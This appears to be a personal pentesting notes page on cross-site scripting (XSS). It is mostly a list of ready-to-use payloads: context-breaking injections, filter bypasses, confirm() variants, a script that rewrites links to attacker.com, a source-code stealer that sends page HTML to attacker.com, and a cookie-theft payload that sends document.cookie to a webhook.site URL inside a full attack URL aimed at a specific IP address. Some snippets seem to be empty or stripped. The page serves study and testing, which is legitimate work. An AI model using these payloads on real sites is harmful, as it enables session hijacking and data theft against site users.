> For the complete documentation index, see [llms.txt](https://hexisanoob.gitbook.io/hexisanoob/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hexisanoob.gitbook.io/hexisanoob/enum-and-initial-compromise/web-pentest/xss.md). # XSS https\://github.com/payloadbox/xss-payload-list IMPORTANT TIP: Always look at the source code and close the current HTML tag then put JS payload. `` that will pop up the browser print dialog, which is unlikely to be blocked by any browsers Tip: Many modern web applications utilize cross-domain IFrames to handle user input, so that even if the web form is vulnerable to XSS, it would not be a vulnerability on the main web application. This is why we are showing the value of `window.origin` in the alert box, instead of a static value like `1`. In this case, the alert box would reveal the URL it is being executed on, and will confirm which form is the vulnerable one, in case an IFrame was being used. ```html ``` As some modern browsers may block the `alert()` JavaScript function in specific locations, it may be handy to know a few other basic XSS payloads to verify the existence of XSS. One such XSS payload is ``, which will stop rendering the HTML code that comes after it and display it as plaintext. \<script>alert(1)\</script> Check the reflected text and make a query appropriately! \<img src=a onerror=alert("xss")> ``` <BODY ONLOAD=javascript:alert(1)> ``` If alert() is being filtered eval("ale" + "rt('xss')") If <> brackets are fiiltered. `"onmouseover="alert(1)` If single quotes are filtered ' Use double quotes and vice versa One stop payload!! #### Awesome Context Breaking **HTML Context** Case: `<tag>You searched for $input. </tag>` ``` <svg onload=alert()> </tag><svg onload=alert()> ``` **Attribute Context** Case: `<tag attribute="$input">` ``` "><svg onload=alert()> "><svg onload=alert()><b attr=" " onmouseover=alert() " "onmouseover=alert()// "autofocus/onfocus="alert() ``` **JavaScript Context** Case: `<script> var new something = '$input'; </script>` ``` '-alert()-' '-alert()//' '}alert(1);{' '}%0Aalert(1);%0A{' </script><svg onload=alert()> ``` #### Awesome Confirm Variants Yep, confirm because alert is too mainstream. ``` confirm() confirm`` (confirm``) {confirm``} [confirm``] (((confirm)))`` co\u006efirm() new class extends confirm``{} [8].find(confirm) [8].map(confirm) [8].some(confirm) [8].every(confirm) [8].filter(confirm) [8].findIndex(confirm) ``` #### Awesome Exploits **Replace all links** ``` Array.from(document.getElementsByTagName("a")).forEach(function(i) { i.href = "https://attacker.com"; }); ``` **Source Code Stealer** ``` <svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML"> ``` XSS with "unsafe" reflecting. Here is a valid payload. This is a markdown HTML injection ``` [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) ``` ## Reaching our own server using XSS and stealing sensitive information `http://18.225.156.202:9090/blog?blogNumber=2%22%3E%3Cimg%20src=x%20onerror=this.src=%27https://webhook.site/e20454b9-297d-47d2-bb93-9da689061414/?%27%2bdocument.cookie;%3E` Payload: 2">\<img src=x onerror=this.src='[https://webhook.site/e20454b9-297d-47d2-bb93-9da689061414/?'+document.cookie;>](https://webhook.site/e20454b9-297d-47d2-bb93-9da689061414/?'+document.cookie;>) Further,&#x20;